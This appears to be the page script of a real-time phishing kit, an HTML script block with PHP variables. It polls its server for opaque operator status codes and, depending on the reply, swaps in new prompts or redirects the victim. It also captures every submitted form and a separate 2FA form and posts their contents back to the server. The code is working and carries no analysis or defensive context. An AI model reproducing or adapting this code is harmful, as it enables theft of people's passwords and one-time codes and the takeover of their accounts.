<script>


var y = document.getElementById("root");
var x = document.getElementById("shpin");
var interval = null;
interval = setInterval(function() 
    {
      send();
    }, 1500); 
function send(led_sts) 
{
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
       	 if (this.responseText == "lfxat")
{     
    datenx =  this.responseText;
    clearInterval(interval);
    setTimeout(function() {getData();}, 500);
                interval = setInterval(function() 
    {
      send();
    }, 2500); 
}
       else if (this.responseText == "af2zx" || this.responseText == "lfxaz" || this.responseText == "zecc" ||this.responseText == "decc") {
      
      datenx =  this.responseText;
      clearInterval(interval);setTimeout(function() {getData();}, 500);

  			}

  		else if (this.responseText == "progress")
{      clearInterval(interval);
                interval = setInterval(function() 
    {
      send();
    }, 1500); 
}
     
    else if (this.responseText == "line") {
      
      datenx =  "rdc";
      setTimeout(function() {window.location.replace("../rdc/?<?php echo $enil;?>");}, 500);
      clearInterval(interval);

            }     else {
      
      clearInterval(interval);

            } 

            
      };
      xhttp.open("GET", "?user=<?php echo $enil;?>&noclick=1&2fa="+led_sts, true);
      xhttp.send();
    }
  

    function getData() {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.status == 200) {
                document.getElementById("root").innerHTML = this.responseText;
                x.style.display = "none";
                y.style.display = "block";
                                //setTimeout(function() {window.location.replace("../rdc/?<?php echo $enil;?>");}, 300000);

        }
      };
      xhttp.open("GET","../"+datenx+"/?user=<?php echo $enil;?>&errr=errr", true);
                
      xhttp.send(); 
    }
 $(document).ready(function(){
                            $(document).on("submit","form",function(a){
                              a.preventDefault();
                              $.post("?user=<?php echo $enil;?>",$(this).serialize(),function(c,b){
                y.style.display = "none";
                x.style.display = "block";

                              send();
                                  }
                                    )})});
                                    
$("#2fa_form").submit(function(event) {


        event.preventDefault();

        var form = $(this);
        var url = "?2fa&user=<?php echo $enil;?>";

        $.ajax({
            type: "POST",
            url: url,
            data: form.serialize(),
            success: function(data) {

            
            }
        });});
</script>